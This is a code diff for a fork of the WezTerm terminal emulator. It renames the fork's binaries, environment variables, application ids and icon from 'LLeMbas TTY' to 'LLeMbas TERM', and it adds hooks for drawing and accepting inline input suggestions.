||||
// LLeMbas TERM: what the terminal kept under its earlier name, carried over once
|
||||
crate::llembas::carry_over();
|
||||
|
||||
config::common_init(
|
||||
opts.config_file.as_ref(),
|
||||
&opts.config_override,
|
||||
|
||||
@@ -333,6 +333,20 @@ impl super::TermWindow {
|
||||
_ => OnlyKeyBindings::No,
|
||||
};
|
||||
|
||||
// LLeMbas TERM: a key that no binding took may take the suggestion
|
||||
// shown after the cursor (Right, End, Alt+Right); otherwise it goes on
|
||||
// to the pane as always, and the suggestion waits for the screen to
|
||||
// show it
|
||||
if is_down && only_key_bindings == OnlyKeyBindings::No {
|
||||
if crate::llembas::decorate::take_suggestion(pane, keycode, raw_modifiers) {
|
||||
context.invalidate();
|
||||
return true;
|
||||
}
|
||||
if !keycode.is_modifier() {
|
||||
crate::llembas::decorate::key_sent(pane);
|
||||
}
|
||||
}
|
||||
|
||||
if only_key_bindings == OnlyKeyBindings::No {
|
||||
let config = &self.config;
|
||||
|
||||
|
||||
@@ -94,9 +94,9 @@ lazy_static::lazy_static! {
|
||||
static ref POSITION: Mutex<Option<GuiPosition>> = Mutex::new(None);
|
||||
}
|
||||
|
||||
// LLeMbas TTY: its own window icon (128x128 RGBA PNG, as upstream's is)
|
||||
// LLeMbas TERM: its own window icon (128x128 RGBA PNG, as upstream's is)
|
||||
pub const ICON_DATA: &'static [u8] =
|
||||
include_bytes!("../../../llembas/packaging/icons/eu.llembas.tty-128.png");
|
||||
include_bytes!("../../../llembas/packaging/icons/eu.llembas.term-128.png");
|
||||
|
||||
pub fn set_window_position(pos: GuiPosition) {
|
||||
POSITION.lock().unwrap().replace(pos);
|
||||
|
||||
@@ -565,7 +565,15 @@ impl crate::TermWindow {
|
||||
}
|
||||
}
|
||||
|
||||
pos.pane.with_lines_mut(stable_range.clone(), &mut render);
|
||||
// LLeMbas TERM: the pane's lines go to the painter through what the
|
||||
// terminal draws on the shell's input line (a suggestion, colours);
|
||||
// with none of that on, this is the pane's own with_lines_mut
|
||||
crate::llembas::decorate::with_lines_mut(
|
||||
&pos.pane,
|
||||
pos.is_active,
|
||||
stable_range.clone(),
|
||||
&mut render,
|
||||
);
|
||||
if let Some(error) = render.error.take() {
|
||||
return Err(error).context("error while calling with_lines_mut");
|
||||
}
|
||||
|
||||
@@ -868,8 +868,8 @@ impl SessionHandler {
|
||||
codec_vers: CODEC_VERSION,
|
||||
version_string: config::wezterm_version().to_owned(),
|
||||
executable_path,
|
||||
// LLeMbas TTY: its own variable name
|
||||
config_file_path: std::env::var_os("LLEMBAS_TTY_CONFIG_FILE")
|
||||
// LLeMbas TERM: its own variable name
|
||||
config_file_path: std::env::var_os("LLEMBAS_TERM_CONFIG_FILE")
|
||||
.map(Into::into),
|
||||
})))
|
||||
}
|
||||
|
||||
@@ -8,10 +8,10 @@ publish = false
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
|
||||
# LLeMbas TERM: its own binary name, so that it installs beside WezTerm.
|
||||
# The package keeps upstream's name.
|
||||
[[bin]]
|
||||
name = "llembas-tty-mux-server"
|
||||
name = "llembas-term-mux-server"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
|
||||
@@ -15,11 +15,11 @@ use wezterm_mux_server_impl::update_mux_domains_for_server;
|
||||
mod daemonize;
|
||||
|
||||
#[derive(Debug, Parser)]
|
||||
// LLeMbas TTY: its own name and version
|
||||
// LLeMbas TERM: its own name and version
|
||||
#[command(
|
||||
name = "llembas-tty-mux-server",
|
||||
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = config::llembas_tty_long_version(),
|
||||
name = "llembas-term-mux-server",
|
||||
about = "LLeMbas TERM: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = config::llembas_term_long_version(),
|
||||
trailing_var_arg = true,
|
||||
)]
|
||||
struct Opt {
|
||||
@@ -197,9 +197,9 @@ fn run() -> anyhow::Result<()> {
|
||||
"OLDPWD",
|
||||
"PWD",
|
||||
"SHLVL",
|
||||
// LLeMbas TTY: its own variable names
|
||||
"LLEMBAS_TTY_PANE",
|
||||
"LLEMBAS_TTY_UNIX_SOCKET",
|
||||
// LLeMbas TERM: its own variable names
|
||||
"LLEMBAS_TERM_PANE",
|
||||
"LLEMBAS_TERM_UNIX_SOCKET",
|
||||
"_",
|
||||
] {
|
||||
std::env::remove_var(name);
|
||||
@@ -314,8 +314,8 @@ mod ossl;
|
||||
pub fn spawn_listener() -> anyhow::Result<()> {
|
||||
let config = configuration();
|
||||
for unix_dom in &config.unix_domains {
|
||||
// LLeMbas TTY: its own variable name
|
||||
std::env::set_var("LLEMBAS_TTY_UNIX_SOCKET", unix_dom.socket_path());
|
||||
// LLeMbas TERM: its own variable name
|
||||
std::env::set_var("LLEMBAS_TERM_UNIX_SOCKET", unix_dom.socket_path());
|
||||
let mut listener = wezterm_mux_server_impl::local::LocalListener::with_domain(unix_dom)?;
|
||||
thread::spawn(move || {
|
||||
listener.run();
|
||||
|
||||
@@ -105,10 +105,10 @@ async fn show_notif_impl(notif: ToastNotification) -> Result<(), Box<dyn std::er
|
||||
hints.insert("urgency", Value::U8(1 /* Normal */));
|
||||
let notification = proxy
|
||||
.notify(
|
||||
// LLeMbas TTY: its own application name and icon
|
||||
"llembas-tty",
|
||||
// LLeMbas TERM: its own application name and icon
|
||||
"llembas-term",
|
||||
0,
|
||||
"eu.llembas.tty",
|
||||
"eu.llembas.term",
|
||||
¬if.title,
|
||||
¬if.message,
|
||||
if notif.url.is_some() {
|
||||
|
||||
@@ -78,8 +78,8 @@ fn show_notif_impl(toast: TN) -> Result<(), Box<dyn std::error::Error>> {
|
||||
*/
|
||||
|
||||
let notifier = ToastNotificationManager::CreateToastNotifierWithId(HSTRING::from(
|
||||
// LLeMbas TTY: its own application id
|
||||
"eu.llembas.tty",
|
||||
// LLeMbas TERM: its own application id
|
||||
"eu.llembas.term",
|
||||
))?;
|
||||
|
||||
notifier.Show(¬if)?;
|
||||
|
||||
+2
-2
@@ -7,10 +7,10 @@ publish = false
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
|
||||
# LLeMbas TERM: its own binary name, so that it installs beside WezTerm.
|
||||
# The package keeps upstream's name.
|
||||
[[bin]]
|
||||
name = "llembas-tty"
|
||||
name = "llembas-term"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
|
||||
@@ -6,7 +6,8 @@ use wezterm_client::client::Client;
|
||||
pub struct ActivatePane {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
}
|
||||
|
||||
@@ -8,7 +8,8 @@ use wezterm_client::client::Client;
|
||||
pub struct ActivatePaneDirection {
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -36,7 +36,8 @@ pub struct ActivateTab {
|
||||
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
///
|
||||
/// The pane is used to figure out which window
|
||||
/// contains appropriate tabs
|
||||
|
||||
@@ -9,7 +9,8 @@ use wezterm_client::client::Client;
|
||||
pub struct CliAdjustPaneSize {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
/// Specify the direction to resize in
|
||||
|
||||
@@ -8,7 +8,8 @@ use wezterm_client::client::Client;
|
||||
pub struct GetPaneDirection {
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -8,7 +8,8 @@ use wezterm_term::{ScrollbackOrVisibleRowIndex, StableRowIndex};
|
||||
pub struct GetText {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -6,7 +6,8 @@ use wezterm_client::client::Client;
|
||||
pub struct KillPane {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
}
|
||||
|
||||
@@ -7,7 +7,8 @@ use wezterm_client::client::Client;
|
||||
pub struct MovePaneToNewTab {
|
||||
/// Specify the pane that should be moved.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -11,7 +11,8 @@ pub struct RenameWorkspace {
|
||||
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
///
|
||||
/// The pane is used to figure out which workspace
|
||||
/// should be renamed.
|
||||
|
||||
@@ -8,7 +8,8 @@ use wezterm_client::client::Client;
|
||||
pub struct SendText {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -11,7 +11,8 @@ pub struct SetTabTitle {
|
||||
tab_id: Option<TabId>,
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
///
|
||||
/// The pane is used to figure out which tab should be renamed.
|
||||
#[arg(long)]
|
||||
|
||||
@@ -11,7 +11,8 @@ pub struct SetWindowTitle {
|
||||
window_id: Option<WindowId>,
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
///
|
||||
/// The pane is used to figure out which window
|
||||
/// should be renamed.
|
||||
|
||||
@@ -12,7 +12,8 @@ use wezterm_client::client::Client;
|
||||
pub struct SpawnCommand {
|
||||
/// Specify the current pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
/// The pane is used to determine the current domain
|
||||
/// and window.
|
||||
#[arg(long)]
|
||||
|
||||
@@ -10,7 +10,8 @@ use wezterm_client::client::Client;
|
||||
pub struct SplitPane {
|
||||
/// Specify the pane that should be split.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
@@ -9,7 +9,8 @@ use wezterm_client::client::Client;
|
||||
pub struct ZoomPane {
|
||||
/// Specify the target pane.
|
||||
/// The default is to use the current pane based on the
|
||||
/// environment variable LLEMBAS_TTY_PANE.
|
||||
// LLeMbas TERM: the pane variable by its own name (upstream: WEZTERM_PANE)
|
||||
/// environment variable LLEMBAS_TERM_PANE.
|
||||
#[arg(long)]
|
||||
pane_id: Option<PaneId>,
|
||||
|
||||
|
||||
+11
-10
@@ -2,8 +2,8 @@ use anyhow::{anyhow, Context};
|
||||
use clap::builder::ValueParser;
|
||||
use clap::{Parser, ValueEnum, ValueHint};
|
||||
use clap_complete::{generate as generate_completion, shells, Generator as CompletionGenerator};
|
||||
// LLeMbas TTY: its own version for --version
|
||||
use config::{llembas_tty_long_version, ConfigHandle};
|
||||
// LLeMbas TERM: its own version for --version
|
||||
use config::{llembas_term_long_version, ConfigHandle};
|
||||
use mux::Mux;
|
||||
use std::ffi::OsString;
|
||||
use std::io::Read;
|
||||
@@ -23,14 +23,15 @@ mod cli;
|
||||
// let message = "; ❤ 😍🤢\n\x1b[91;mw00t\n\x1b[37;104;m bleet\x1b[0;m.";
|
||||
|
||||
#[derive(Debug, Parser)]
|
||||
// LLeMbas TTY: its own name and version
|
||||
// LLeMbas TERM: its own name and version
|
||||
#[command(
|
||||
name = "llembas-tty",
|
||||
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = llembas_tty_long_version()
|
||||
name = "llembas-term",
|
||||
about = "LLeMbas TERM: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
|
||||
version = llembas_term_long_version()
|
||||
)]
|
||||
pub struct Opt {
|
||||
/// Skip loading wezterm.lua
|
||||
// LLeMbas TERM: the file it skips is its own
|
||||
/// Skip loading llembas-term.lua (the LLeMbas layer's own defaults are not applied either)
|
||||
#[arg(long, short = 'n')]
|
||||
skip_config: bool,
|
||||
|
||||
@@ -774,11 +775,11 @@ fn delegate_to_gui(saver: UmaskSaver) -> anyhow::Result<()> {
|
||||
// Restore the original umask
|
||||
drop(saver);
|
||||
|
||||
// LLeMbas TTY: its own binary names
|
||||
// LLeMbas TERM: its own binary names
|
||||
let exe_name = if cfg!(windows) {
|
||||
"llembas-tty-gui.exe"
|
||||
"llembas-term-gui.exe"
|
||||
} else {
|
||||
"llembas-tty-gui"
|
||||
"llembas-term-gui"
|
||||
};
|
||||
|
||||
let exe = std::env::current_exe()?
|
||||
|
||||
Reference in new issue
Block a user